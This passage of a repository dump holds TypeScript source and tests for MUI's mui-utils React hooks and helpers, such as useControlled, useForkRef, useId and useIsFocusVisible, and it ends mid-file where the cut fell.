    "content": "import * as React from 'react';\n\n/**\n * TODO v5: consider making it private\n *\n * passes {value} to {ref}\n *\n * WARNING: Be sure to only call this inside a callback that is passed as a ref.\n * Otherwise, make sure to cleanup the previous {ref} if it changes. See\n * https://github.com/mui/material-ui/issues/13539\n *\n * Useful if you want to expose the ref of an inner component to the public API\n * while still using it inside the component.\n * @param ref A ref callback or ref object. If anything falsy, this is a no-op.\n */\nexport default function setRef<T>(\n  ref: React.MutableRefObject<T | null> | ((instance: T | null) => void) | null | undefined,\n  value: T | null,\n): void {\n  if (typeof ref === 'function') {\n    ref(value);\n  } else if (ref) {\n    ref.current = value;\n  }\n}\n"
  },
  {
    "path": "packages/mui-utils/src/types/index.ts",
    "content": "import * as React from 'react';\n\nexport type EventHandlers = Record<string, React.EventHandler<any>>;\n\nexport type WithOptionalOwnerState<Props extends { ownerState: unknown }> = Omit<\n  Props,\n  'ownerState'\n> &\n  Partial<Pick<Props, 'ownerState'>>;\n\nexport type SlotComponentProps<TSlotComponent extends React.ElementType, TOverrides, TOwnerState> =\n  | (Partial<React.ComponentPropsWithRef<TSlotComponent>> & TOverrides)\n  | ((\n      ownerState: TOwnerState,\n    ) => Partial<React.ComponentPropsWithRef<TSlotComponent>> & TOverrides);\n\nexport type SlotComponentPropsWithSlotState<\n  TSlotComponent extends React.ElementType,\n  TOverrides,\n  TOwnerState,\n  TSlotState,\n> =\n  | (Partial<React.ComponentPropsWithRef<TSlotComponent>> & TOverrides)\n  | ((\n      ownerState: TOwnerState,\n      slotState: TSlotState,\n    ) => Partial<React.ComponentPropsWithRef<TSlotComponent>> & TOverrides);\n"
  },
  {
    "path": "packages/mui-utils/src/unsupportedProp/index.ts",
    "content": "export { default } from './unsupportedProp';\n"
  },
  {
    "path": "packages/mui-utils/src/unsupportedProp/unsupportedProp.test.ts",
    "content": "import { expect } from 'chai';\nimport unsupportedProp from './unsupportedProp';\n\ndescribe('unsupportedProp', () => {\n  const propName = 'children';\n  const componentName = 'ComponentName';\n  const location = 'prop';\n  const propFullName = null;\n\n  it('should return null for supported props', () => {\n    const props: Record<string, any> = {};\n    // @ts-expect-error Validator expects a string for propFullName\n    const result = unsupportedProp(props, propName, componentName, location, propFullName);\n    expect(result).to.equal(null);\n  });\n\n  it('should return an error for unsupported props', () => {\n    const props: Record<string, any> = {\n      children: null,\n    };\n    // @ts-expect-error Validator expects a string for propFullName\n    const result = unsupportedProp(props, propName, componentName, location, propFullName);\n    expect(result!.message).to.match(/The prop `children` is not supported. Please remove it/);\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/unsupportedProp/unsupportedProp.ts",
    "content": "export default function unsupportedProp(\n  props: { [key: string]: any },\n  propName: string,\n  componentName: string,\n  location: string,\n  propFullName: string,\n): Error | null {\n  if (process.env.NODE_ENV === 'production') {\n    return null;\n  }\n\n  const propFullNameSafe = propFullName || propName;\n\n  if (typeof props[propName] !== 'undefined') {\n    return new Error(`The prop \\`${propFullNameSafe}\\` is not supported. Please remove it.`);\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/useControlled/index.ts",
    "content": "export { default } from './useControlled';\nexport * from './useControlled';\n"
  },
  {
    "path": "packages/mui-utils/src/useControlled/useControlled.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { act, createRenderer } from '@mui/internal-test-utils';\nimport useControlled from './useControlled';\n\ntype TestProps<T> = {\n  value?: T;\n  defaultValue?: T;\n};\n\ntype TestComponentProps<T> = TestProps<T> & {\n  children: (params: {\n    value: T;\n    setValue: React.Dispatch<React.SetStateAction<T | undefined>>;\n  }) => React.ReactNode;\n};\n\ntype SetProps = <T>(props: TestProps<T>) => void;\n\nfunction TestComponent<T>({ value: valueProp, defaultValue, children }: TestComponentProps<T>) {\n  const [value, setValue] = useControlled({\n    controlled: valueProp,\n    default: defaultValue,\n    name: 'TestComponent',\n  });\n  return children({ value, setValue });\n}\n\ndescribe('useControlled', () => {\n  const { render } = createRenderer();\n\n  it('works correctly when is not controlled', () => {\n    let valueState = 0;\n    let setValueState: React.Dispatch<React.SetStateAction<number | undefined>>;\n    render(\n      <TestComponent defaultValue={1}>\n        {({ value, setValue }) => {\n          valueState = value;\n          setValueState = setValue;\n          return null;\n        }}\n      </TestComponent>,\n    );\n    expect(valueState).to.equal(1);\n\n    act(() => {\n      setValueState(2);\n    });\n\n    expect(valueState).to.equal(2);\n  });\n\n  it('works correctly when is controlled', () => {\n    let valueState;\n    render(\n      <TestComponent value={1}>\n        {({ value }) => {\n          valueState = value;\n          return null;\n        }}\n      </TestComponent>,\n    );\n    expect(valueState).to.equal(1);\n  });\n\n  it('warns when switching from uncontrolled to controlled', () => {\n    let setProps: SetProps;\n    expect(() => {\n      ({ setProps } = render(<TestComponent>{() => null}</TestComponent>));\n    }).not.toErrorDev();\n\n    expect(() => {\n      setProps({ value: 'foobar' });\n    }).toErrorDev(\n      'MUI: A component is changing the uncontrolled value state of TestComponent to be controlled.',\n    );\n  });\n\n  it('warns when switching from controlled to uncontrolled', () => {\n    let setProps: SetProps;\n\n    expect(() => {\n      ({ setProps } = render(<TestComponent value=\"foobar\">{() => null}</TestComponent>));\n    }).not.toErrorDev();\n\n    expect(() => {\n      setProps({ value: undefined });\n    }).toErrorDev(\n      'MUI: A component is changing the controlled value state of TestComponent to be uncontrolled.',\n    );\n  });\n\n  describe('warns when changing the defaultValue prop after initial rendering', () => {\n    it('should detect changes', () => {\n      let setProps: SetProps;\n\n      expect(() => {\n        ({ setProps } = render(<TestComponent>{() => null}</TestComponent>));\n      }).not.toErrorDev();\n\n      expect(() => {\n        setProps({ defaultValue: 1 });\n      }).toErrorDev(\n        'MUI: A component is changing the default value state of an uncontrolled TestComponent after being initialized.',\n      );\n    });\n\n    it('should not warn when controlled', () => {\n      let setProps: SetProps;\n\n      expect(() => {\n        ({ setProps } = render(\n          <TestComponent value={1} defaultValue={0}>\n            {() => null}\n          </TestComponent>,\n        ));\n      }).not.toErrorDev();\n\n      expect(() => {\n        setProps({ defaultValue: 1 });\n      }).not.toErrorDev();\n    });\n\n    it('should not warn when NaN', () => {\n      expect(() => {\n        render(<TestComponent defaultValue={NaN}>{() => null}</TestComponent>);\n      }).not.toErrorDev();\n    });\n\n    it('should not warn when an array', () => {\n      function TestComponentArray() {\n        useControlled({\n          controlled: undefined,\n          default: [],\n          name: 'TestComponent',\n        });\n        return null;\n      }\n\n      expect(() => {\n        render(<TestComponentArray />);\n      }).not.toErrorDev();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/useControlled/useControlled.ts",
    "content": "'use client';\n// TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- process.env never changes, dependency arrays are intentionally ignored\n/* eslint-disable react-hooks/rules-of-hooks, react-hooks/exhaustive-deps */\nimport * as React from 'react';\n\nexport interface UseControlledProps<T = unknown> {\n  /**\n   * Holds the component value when it's controlled.\n   */\n  controlled: T | undefined;\n  /**\n   * The default value when uncontrolled.\n   */\n  default: T | undefined;\n  /**\n   * The component name displayed in warnings.\n   */\n  name: string;\n  /**\n   * The name of the state variable displayed in warnings.\n   */\n  state?: string | undefined;\n}\n\nexport default function useControlled<T = unknown>(\n  props: UseControlledProps<T>,\n): [T, React.Dispatch<React.SetStateAction<T | undefined>>] {\n  const { controlled, default: defaultProp, name, state = 'value' } = props;\n  // isControlled is ignored in the hook dependency lists as it should never change.\n  const { current: isControlled } = React.useRef(controlled !== undefined);\n  const [valueState, setValue] = React.useState<T | undefined>(defaultProp);\n  const value = isControlled ? controlled : valueState;\n\n  if (process.env.NODE_ENV !== 'production') {\n    React.useEffect(() => {\n      if (isControlled !== (controlled !== undefined)) {\n        console.error(\n          [\n            `MUI: A component is changing the ${\n              isControlled ? '' : 'un'\n            }controlled ${state} state of ${name} to be ${isControlled ? 'un' : ''}controlled.`,\n            'Elements should not switch from uncontrolled to controlled (or vice versa).',\n            `Decide between using a controlled or uncontrolled ${name} ` +\n              'element for the lifetime of the component.',\n            \"The nature of the state is determined during the first render. It's considered controlled if the value is not `undefined`.\",\n            'More info: https://fb.me/react-controlled-components',\n          ].join('\\n'),\n        );\n      }\n    }, [state, name, controlled]);\n\n    const { current: defaultValue } = React.useRef(defaultProp);\n\n    React.useEffect(() => {\n      if (!isControlled && JSON.stringify(defaultProp) !== JSON.stringify(defaultValue)) {\n        console.error(\n          [\n            `MUI: A component is changing the default ${state} state of an uncontrolled ${name} after being initialized. ` +\n              `To suppress this warning opt to use a controlled ${name}.`,\n          ].join('\\n'),\n        );\n      }\n    }, [JSON.stringify(defaultProp)]);\n  }\n\n  const setValueIfUncontrolled: React.Dispatch<React.SetStateAction<T | undefined>> =\n    React.useCallback((newValue: React.SetStateAction<T | undefined>) => {\n      if (!isControlled) {\n        setValue(newValue);\n      }\n    }, []);\n\n  // TODO: provide overloads for the useControlled function to account for the case where either\n  // controlled or default is not undefined.\n  // In that case the return type should be [T, React.Dispatch<React.SetStateAction<T>>]\n  // otherwise it should be [T | undefined, React.Dispatch<React.SetStateAction<T | undefined>>]\n  return [value as T, setValueIfUncontrolled];\n}\n"
  },
  {
    "path": "packages/mui-utils/src/useEnhancedEffect/index.ts",
    "content": "export { default } from './useEnhancedEffect';\n"
  },
  {
    "path": "packages/mui-utils/src/useEnhancedEffect/useEnhancedEffect.ts",
    "content": "'use client';\nimport * as React from 'react';\n\n/**\n * A version of `React.useLayoutEffect` that does not show a warning when server-side rendering.\n * This is useful for effects that are only needed for client-side rendering but not for SSR.\n *\n * Before you use this hook, make sure to read https://gist.github.com/gaearon/e7d97cdf38a2907924ea12e4ebdf3c85\n * and confirm it doesn't apply to your use-case.\n */\nconst useEnhancedEffect = typeof window !== 'undefined' ? React.useLayoutEffect : React.useEffect;\n\nexport default useEnhancedEffect;\n"
  },
  {
    "path": "packages/mui-utils/src/useEventCallback/index.ts",
    "content": "export { default } from './useEventCallback';\n"
  },
  {
    "path": "packages/mui-utils/src/useEventCallback/useEventCallback.spec.ts",
    "content": "import { expectType } from '@mui/types';\nimport useEventCallback from '@mui/utils/useEventCallback';\n\nfunction InferenceTest() {\n  useEventCallback((event) => {\n    expectType<unknown, typeof event>(event);\n  });\n  useEventCallback((event: MouseEvent) => {\n    expectType<MouseEvent, typeof event>(event);\n  });\n  useEventCallback<[MouseEvent, number], number>((event, count) => {\n    expectType<MouseEvent, typeof event>(event);\n    expectType<number, typeof count>(count);\n    return count;\n  });\n  useEventCallback<(event: MouseEvent, count: number) => number>((event, count) => {\n    expectType<MouseEvent, typeof event>(event);\n    expectType<number, typeof count>(count);\n    return count;\n  });\n}\n"
  },
  {
    "path": "packages/mui-utils/src/useEventCallback/useEventCallback.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport useEnhancedEffect from '../useEnhancedEffect';\n\n/**\n * Inspired by https://github.com/facebook/react/issues/14099#issuecomment-440013892\n * See RFC in https://github.com/reactjs/rfcs/pull/220\n */\nfunction useEventCallback<Fn extends (...args: any[]) => any = (...args: unknown[]) => unknown>(\n  fn: Fn,\n): Fn;\nfunction useEventCallback<Args extends unknown[], Return>(\n  fn: (...args: Args) => Return,\n): (...args: Args) => Return;\nfunction useEventCallback<Args extends unknown[], Return>(\n  fn: (...args: Args) => Return,\n): (...args: Args) => Return {\n  const ref = React.useRef(fn);\n  useEnhancedEffect(() => {\n    ref.current = fn;\n  });\n  return React.useRef((...args: Args) =>\n    // @ts-expect-error hide `this`\n    (0, ref.current!)(...args),\n  ).current;\n}\n\nexport default useEventCallback;\n"
  },
  {
    "path": "packages/mui-utils/src/useForkRef/index.ts",
    "content": "export { default } from './useForkRef';\n"
  },
  {
    "path": "packages/mui-utils/src/useForkRef/useForkRef.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, reactMajor, MuiRenderResult, screen } from '@mui/internal-test-utils';\nimport useForkRef from './useForkRef';\nimport getReactElementRef from '../getReactElementRef';\n\ndescribe('useForkRef', () => {\n  const { render } = createRenderer();\n\n  it('returns a single ref-setter function that forks the ref to its inputs', () => {\n    interface ComponentProps {\n      innerRef: React.RefObject<HTMLDivElement | null>;\n    }\n\n    function Component(props: ComponentProps) {\n      const { innerRef } = props;\n      const [ownRefCurrent, ownRef] = React.useState<HTMLDivElement | null>(null);\n\n      const handleRef = useForkRef(innerRef, ownRef);\n\n      return <div ref={handleRef}>{ownRefCurrent ? 'has a ref' : 'has no ref'}</div>;\n    }\n\n    const outerRef = React.createRef<HTMLDivElement>();\n\n    expect(() => {\n      render(<Component innerRef={outerRef} />);\n    }).not.toErrorDev();\n    expect(outerRef.current!.textContent).to.equal('has a ref');\n  });\n\n  it('forks if only one of the branches requires a ref', () => {\n    const Component = React.forwardRef(function Component(\n      props: {},\n      ref: React.ForwardedRef<HTMLDivElement>,\n    ) {\n      const [hasRef, setHasRef] = React.useState(false);\n      const handleOwnRef = React.useCallback(() => setHasRef(true), []);\n      const handleRef = useForkRef(handleOwnRef, ref);\n\n      return (\n        <div ref={handleRef} data-testid=\"hasRef\">\n          {String(hasRef)}\n        </div>\n      );\n    });\n\n    expect(() => {\n      render(<Component />);\n      expect(screen.getByTestId('hasRef')).to.have.text('true');\n    }).not.toErrorDev();\n  });\n\n  it('does nothing if none of the forked branches requires a ref', () => {\n    interface OuterProps {\n      children: React.ReactElement<{ ref?: React.Ref<HTMLDivElement> }>;\n    }\n    const Outer = React.forwardRef(function Outer(props: OuterProps, ref) {\n      const { children } = props;\n      const handleRef = useForkRef(getReactElementRef(children), ref);\n\n      return React.cloneElement(children, { ref: handleRef });\n    });\n\n    function Inner() {\n      return <div />;\n    }\n\n    expect(() => {\n      render(\n        <Outer>\n          <Inner />\n        </Outer>,\n      );\n    }).not.toErrorDev();\n  });\n\n  describe('changing refs', () => {\n    interface DivProps extends React.HTMLAttributes<HTMLDivElement> {\n      leftRef?: React.Ref<HTMLDivElement>;\n      rightRef?: React.Ref<HTMLDivElement>;\n    }\n\n    function Div(props: DivProps) {\n      const { leftRef, rightRef, ...other } = props;\n      const handleRef = useForkRef(leftRef, rightRef);\n\n      return <div {...other} ref={handleRef} />;\n    }\n\n    it('handles changing from no ref to some ref', () => {\n      let view: MuiRenderResult;\n\n      expect(() => {\n        view = render(<Div id=\"test\" />);\n      }).not.toErrorDev();\n\n      const ref = React.createRef<HTMLDivElement>();\n      expect(() => {\n        view.setProps({ leftRef: ref });\n      }).not.toErrorDev();\n      expect(ref.current!.id).to.equal('test');\n    });\n\n    it('cleans up detached refs', () => {\n      const firstLeftRef = React.createRef<HTMLDivElement>();\n      const firstRightRef = React.createRef<HTMLDivElement>();\n      const secondRightRef = React.createRef<HTMLDivElement>();\n      let view: MuiRenderResult;\n\n      expect(() => {\n        view = render(<Div leftRef={firstLeftRef} rightRef={firstRightRef} id=\"test\" />);\n      }).not.toErrorDev();\n      expect(firstLeftRef.current!.id).to.equal('test');\n      expect(firstRightRef.current!.id).to.equal('test');\n      expect(secondRightRef.current).to.equal(null);\n\n      view!.setProps({ rightRef: secondRightRef });\n\n      expect(firstLeftRef.current!.id).to.equal('test');\n      expect(firstRightRef.current).to.equal(null);\n      expect(secondRightRef.current!.id).to.equal('test');\n    });\n  });\n\n  it('calls clean up function if it exists', () => {\n    const cleanUp = spy();\n    const setup = spy();\n    const setup2 = spy();\n    const nullHandler = spy();\n\n    function onRefChangeWithCleanup(ref: HTMLDivElement | null) {\n      if (ref) {\n        setup(ref.id);\n      } else {\n        nullHandler();\n      }\n      return cleanUp;\n    }\n\n    function onRefChangeWithoutCleanup(ref: HTMLDivElement | null) {\n      if (ref) {\n        setup2(ref.id);\n      } else {\n        nullHandler();\n      }\n    }\n\n    function App() {\n      const ref = useForkRef(onRefChangeWithCleanup, onRefChangeWithoutCleanup);\n      return <div id=\"test\" ref={ref} />;\n    }\n\n    const { unmount } = render(<App />);\n\n    expect(setup.args[0][0]).to.equal('test');\n    expect(setup.callCount).to.equal(reactMajor >= 19 ? 2 : 1);\n    expect(cleanUp.callCount).to.equal(reactMajor >= 19 ? 1 : 0);\n\n    expect(setup2.args[0][0]).to.equal('test');\n    expect(setup2.callCount).to.equal(reactMajor >= 19 ? 2 : 1);\n\n    unmount();\n\n    expect(setup.callCount).to.equal(reactMajor >= 19 ? 2 : 1);\n    expect(cleanUp.callCount).to.equal(reactMajor >= 19 ? 2 : 1);\n\n    // Setup was not called again\n    expect(setup2.callCount).to.equal(reactMajor >= 19 ? 2 : 1);\n    // Null handler hit because no cleanup is returned\n    expect(nullHandler.callCount).to.equal(reactMajor >= 19 ? 2 : 1);\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/useForkRef/useForkRef.ts",
    "content": "'use client';\nimport * as React from 'react';\n\n/**\n * Merges refs into a single memoized callback ref or `null`.\n *\n * ```tsx\n * const rootRef = React.useRef<Instance>(null);\n * const refFork = useForkRef(rootRef, props.ref);\n *\n * return (\n *   <Root {...props} ref={refFork} />\n * );\n * ```\n *\n * @param {Array<React.Ref<Instance> | undefined>} refs The ref array.\n * @returns {React.RefCallback<Instance> | null} The new ref callback.\n */\nexport default function useForkRef<Instance>(\n  ...refs: Array<React.Ref<Instance> | undefined>\n): React.RefCallback<Instance> | null {\n  const cleanupRef = React.useRef<() => void>(undefined);\n\n  const refEffect = React.useCallback((instance: Instance) => {\n    const cleanups = refs.map((ref) => {\n      if (ref == null) {\n        return null;\n      }\n\n      if (typeof ref === 'function') {\n        const refCallback = ref;\n        const refCleanup: void | (() => void) = refCallback(instance);\n        return typeof refCleanup === 'function'\n          ? refCleanup\n          : () => {\n              refCallback(null);\n            };\n      }\n\n      ref.current = instance;\n      return () => {\n        ref.current = null;\n      };\n    });\n\n    return () => {\n      cleanups.forEach((refCleanup) => refCleanup?.());\n    };\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, refs);\n\n  return React.useMemo(() => {\n    if (refs.every((ref) => ref == null)) {\n      return null;\n    }\n\n    return (value) => {\n      if (cleanupRef.current) {\n        cleanupRef.current();\n        cleanupRef.current = undefined;\n      }\n\n      if (value != null) {\n        cleanupRef.current = refEffect(value);\n      }\n    };\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- intentionally ignoring that the dependency array must be an array literal\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, refs);\n}\n"
  },
  {
    "path": "packages/mui-utils/src/useId/index.ts",
    "content": "export { default } from './useId';\n"
  },
  {
    "path": "packages/mui-utils/src/useId/useId.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport useId from '@mui/utils/useId';\n\ninterface TestComponentProps {\n  id?: string;\n}\n\ndescribe('useId', () => {\n  const { render, renderToString } = createRenderer();\n\n  it('returns the provided ID', () => {\n    function TestComponent({ id: idProp }: TestComponentProps) {\n      const id = useId(idProp);\n      return <span data-testid=\"target\" id={id} />;\n    }\n    const { hydrate } = renderToString(<TestComponent id=\"some-id\" />);\n    const { setProps } = hydrate();\n\n    expect(screen.getByTestId('target')).to.have.property('id', 'some-id');\n\n    setProps({ id: 'another-id' });\n\n    expect(screen.getByTestId('target')).to.have.property('id', 'another-id');\n  });\n\n  it(\"generates an ID if one isn't provided\", () => {\n    function TestComponent({ id: idProp }: TestComponentProps) {\n      const id = useId(idProp);\n      return <span data-testid=\"target\" id={id} />;\n    }\n    const { hydrate } = renderToString(<TestComponent />);\n    const { setProps } = hydrate();\n\n    expect(screen.getByTestId('target').id).not.to.equal('');\n\n    setProps({ id: 'another-id' });\n    expect(screen.getByTestId('target')).to.have.property('id', 'another-id');\n  });\n\n  it('can be suffixed', () => {\n    function Widget() {\n      const id = useId();\n      const labelId = `${id}-label`;\n\n      return (\n        <React.Fragment>\n          <span data-testid=\"labelable\" aria-labelledby={labelId} />\n          <span data-testid=\"label\" id={labelId}>\n            Label\n          </span>\n        </React.Fragment>\n      );\n    }\n    render(<Widget />);\n\n    expect(screen.getByTestId('labelable')).to.have.attr(\n      'aria-labelledby',\n      screen.getByTestId('label').id,\n    );\n  });\n\n  it('can be used in in IDREF attributes', () => {\n    function Widget() {\n      const labelPartA = useId();\n      const labelPartB = useId();\n\n      return (\n        <React.Fragment>\n          <span data-testid=\"labelable\" aria-labelledby={`${labelPartA} ${labelPartB}`} />\n          <span data-testid=\"labelA\" id={labelPartA}>\n            A\n          </span>\n          <span data-testid=\"labelB\" id={labelPartB}>\n            B\n          </span>\n        </React.Fragment>\n      );\n    }\n    render(<Widget />);\n\n    expect(screen.getByTestId('labelable')).to.have.attr(\n      'aria-labelledby',\n      `${screen.getByTestId('labelA').id} ${screen.getByTestId('labelB').id}`,\n    );\n  });\n\n  it.skipIf(React.useId === undefined)('provides an ID on server in React 18', function test() {\n    function TestComponent() {\n      const id = useId();\n      return <span data-testid=\"target\" id={id} />;\n    }\n    const { hydrate } = renderToString(<TestComponent />);\n    hydrate();\n\n    expect(screen.getByTestId('target').id).not.to.equal('');\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/useId/useId.ts",
    "content": "'use client';\nimport * as React from 'react';\n\nlet globalId = 0;\n\n// TODO React 17: Remove `useGlobalId` once React 17 support is removed\nfunction useGlobalId(idOverride?: string): string | undefined {\n  const [defaultId, setDefaultId] = React.useState(idOverride);\n  const id = idOverride || defaultId;\n  React.useEffect(() => {\n    if (defaultId == null) {\n      // Fallback to this default id when possible.\n      // Use the incrementing value for client-side rendering only.\n      // We can't use it server-side.\n      // If you want to use random values please consider the Birthday Problem: https://en.wikipedia.org/wiki/Birthday_problem\n      globalId += 1;\n      setDefaultId(`mui-${globalId}`);\n    }\n  }, [defaultId]);\n  return id;\n}\n\n// See https://github.com/mui/material-ui/issues/41190#issuecomment-2040873379 for why\nconst safeReact = { ...React };\nconst maybeReactUseId: undefined | (() => string) = safeReact.useId;\n\n/**\n *\n * @example <div id={useId()} />\n * @param idOverride\n * @returns {string}\n */\nexport default function useId(idOverride?: string): string | undefined {\n  // React.useId() is only available from React 17.0.0.\n  if (maybeReactUseId !== undefined) {\n    const reactId = maybeReactUseId();\n    return idOverride ?? reactId;\n  }\n\n  // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n  // eslint-disable-next-line react-hooks/rules-of-hooks -- `React.useId` is invariant at runtime.\n  return useGlobalId(idOverride);\n}\n"
  },
  {
    "path": "packages/mui-utils/src/useIsFocusVisible/index.ts",
    "content": "export { default } from './useIsFocusVisible';\nexport * from './useIsFocusVisible';\n"
  },
  {
    "path": "packages/mui-utils/src/useIsFocusVisible/useIsFocusVisible.test.tsx",
    "content": "import { expect } from 'chai';\nimport * as React from 'react';\nimport * as ReactDOMClient from 'react-dom/client';\nimport {\n  act,\n  createRenderer,\n  focusVisible,\n  simulatePointerDevice,\n  programmaticFocusTriggersFocusVisible,\n} from '@mui/internal-test-utils';\nimport useIsFocusVisible, { teardown as teardownFocusVisible } from './useIsFocusVisible';\nimport useForkRef from '../useForkRef';\n\ntype SimpleButtonProps = React.ButtonHTMLAttributes<HTMLButtonElement> & {\n  ref?: React.ForwardedRef<HTMLButtonElement>;\n};\n\nconst SimpleButton = React.forwardRef(function SimpleButton(\n  props: SimpleButtonProps,\n  ref: React.ForwardedRef<HTMLButtonElement>,\n) {\n  const {\n    isFocusVisibleRef,\n    onBlur: handleBlurVisible,\n    onFocus: handleFocusVisible,\n    ref: focusVisibleRef,\n  } = useIsFocusVisible();\n\n  const handleRef = useForkRef(focusVisibleRef, ref);\n\n  const [isFocusVisible, setIsFocusVisible] = React.useState(false);\n\n  const handleBlur = (event: React.FocusEvent<HTMLButtonElement>) => {\n    handleBlurVisible(event);\n    if (isFocusVisibleRef.current === false) {\n      setIsFocusVisible(false);\n    }\n  };\n\n  const handleFocus = (event: React.FocusEvent<HTMLButtonElement>) => {\n    handleFocusVisible(event);\n    if (isFocusVisibleRef.current === true) {\n      setIsFocusVisible(true);\n    }\n  };\n\n  return (\n    <button\n      type=\"button\"\n      {...props}\n      ref={handleRef}\n      className={isFocusVisible ? 'focus-visible' : undefined}\n      onBlur={handleBlur}\n      onFocus={handleFocus}\n    />\n  );\n});\n\ndescribe('useIsFocusVisible', () => {\n  const { render } = createRenderer();\n\n  beforeAll(() => {\n    // isolate test from previous component test that use the polyfill in the document scope\n    teardownFocusVisible(document);\n  });\n\n  const isHeadlessChrome = /HeadlessChrome/.test(window.navigator.userAgent);\n  describe.skipIf(!isHeadlessChrome)('focus inside shadowRoot', () => {\n    let rootElement: HTMLDivElement;\n    let reactRoot: ReactDOMClient.Root;\n\n    beforeEach(() => {\n      rootElement = document.createElement('div');\n      document.body.appendChild(rootElement);\n      rootElement.attachShadow({ mode: 'open' });\n      reactRoot = ReactDOMClient.createRoot(rootElement.shadowRoot!);\n    });\n\n    afterEach(() => {\n      act(() => {\n        reactRoot.unmount();\n      });\n\n      // @ts-expect-error TODO: investigate why TS is not happy with `shadowRoot` here\n      teardownFocusVisible(rootElement.shadowRoot);\n      document.body.removeChild(rootElement);\n    });\n\n    it('should set focus state for shadowRoot children', () => {\n      const buttonRef = React.createRef<HTMLButtonElement>();\n      render(\n        <SimpleButton id=\"test-button\" ref={buttonRef}>\n          Hello\n        </SimpleButton>,\n        {},\n        // @ts-expect-error TODO: investigate why this third argument is here\n        {\n          container: rootElement.shadowRoot,\n        },\n      );\n      simulatePointerDevice();\n\n      const { current: button } = buttonRef;\n      if (button!.nodeName !== 'BUTTON') {\n        throw new Error('missing button');\n      }\n\n      expect(button!.classList.contains('focus-visible')).to.equal(false);\n\n      act(() => {\n        button!.focus();\n      });\n\n      if (programmaticFocusTriggersFocusVisible()) {\n        expect(button).to.have.class('focus-visible');\n      } else {\n        expect(button).not.to.have.class('focus-visible');\n      }\n\n      act(() => {\n        button!.blur();\n      });\n      focusVisible(button!);\n\n      expect(button!.classList.contains('focus-visible')).to.equal(true);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/useIsFocusVisible/useIsFocusVisible.ts",
    "content": "'use client';\n// based on https://github.com/WICG/focus-visible/blob/v4.1.5/src/focus-visible.js\nimport * as React from 'react';\nimport { Timeout } from '../useTimeout/useTimeout';\n\nlet hadKeyboardEvent = true;\nlet hadFocusVisibleRecently = false;\nconst hadFocusVisibleRecentlyTimeout = new Timeout();\n\nconst inputTypesWhitelist: Record<string, boolean> = {\n  text: true,\n  search: true,\n  url: true,\n  tel: true,\n  email: true,\n  password: true,\n  number: true,\n  date: true,\n  month: true,\n  week: true,\n  time: true,\n  datetime: true,\n  'datetime-local': true,\n};\n\n/**\n * Computes whether the given element should automatically trigger the\n * `focus-visible` class being added, i.e. whether it should always match\n * `:focus-visible` when focused.\n * @param {Element} node\n * @returns {boolean}\n */\nfunction focusTriggersKeyboardModality(node: Element) {\n  const { type, tagName } = node as HTMLInputElement;\n\n  if (tagName === 'INPUT' && inputTypesWhitelist[type] && !(node as HTMLInputElement).readOnly) {\n    return true;\n  }\n\n  if (tagName === 'TEXTAREA' && !(node as HTMLInputElement).readOnly) {\n    return true;\n  }\n\n  if ((node as HTMLElement).isContentEditable) {\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * Keep track of our keyboard modality state with `hadKeyboardEvent`.\n * If the most recent user interaction was via the keyboard;\n * and the key press did not include a meta, alt/option, or control key;\n * then the modality is keyboard. Otherwise, the modality is not keyboard.\n * @param {KeyboardEvent} event\n */\nfunction handleKeyDown(event: KeyboardEvent) {\n  if (event.metaKey || event.altKey || event.ctrlKey) {\n    return;\n  }\n  hadKeyboardEvent = true;\n}\n\n/**\n * If at any point a user clicks with a pointing device, ensure that we change\n * the modality away from keyboard.\n * This avoids the situation where a user presses a key on an already focused\n * element, and then clicks on a different element, focusing it with a\n * pointing device, while we still think we're in keyboard modality.\n */\nfunction handlePointerDown() {\n  hadKeyboardEvent = false;\n}\n\nfunction handleVisibilityChange(this: Document) {\n  if (this.visibilityState === 'hidden') {\n    // If the tab becomes active again, the browser will handle calling focus\n    // on the element (Safari actually calls it twice).\n    // If this tab change caused a blur on an element with focus-visible,\n    // re-apply the class when the user switches back to the tab.\n    if (hadFocusVisibleRecently) {\n      hadKeyboardEvent = true;\n    }\n  }\n}\n\nfunction prepare(doc: Document): void {\n  doc.addEventListener('keydown', handleKeyDown, true);\n  doc.addEventListener('mousedown', handlePointerDown, true);\n  doc.addEventListener('pointerdown', handlePointerDown, true);\n  doc.addEventListener('touchstart', handlePointerDown, true);\n  doc.addEventListener('visibilitychange', handleVisibilityChange, true);\n}\n\nexport function teardown(doc: Document): void {\n  doc.removeEventListener('keydown', handleKeyDown, true);\n  doc.removeEventListener('mousedown', handlePointerDown, true);\n  doc.removeEventListener('pointerdown', handlePointerDown, true);\n  doc.removeEventListener('touchstart', handlePointerDown, true);\n  doc.removeEventListener('visibilitychange', handleVisibilityChange, true);\n}\n\nfunction isFocusVisible(event: React.FocusEvent): boolean {\n  const { target } = event;\n  try {\n    return target.matches(':focus-visible');\n  } catch (error) {\n    // Browsers not implementing :focus-visible will throw a SyntaxError.\n    // We use our own heuristic for those browsers.\n    // Rethrow might be better if it's not the expected error but do we really\n    // want to crash if focus-visible malfunctioned?\n  }\n\n  // No need for validFocusTarget check. The user does that by attaching it to\n  // focusable events only.\n  return hadKeyboardEvent || focusTriggersKeyboardModality(target);\n}\n\nexport interface UseIsFocusVisibleResult {\n  isFocusVisibleRef: React.MutableRefObject<boolean>;\n  onBlur: (event: React.FocusEvent<any>) => void;\n  onFocus: (event: React.FocusEvent<any>) => void;\n  ref: React.RefCallback<Element>;\n}\n\nexport default function 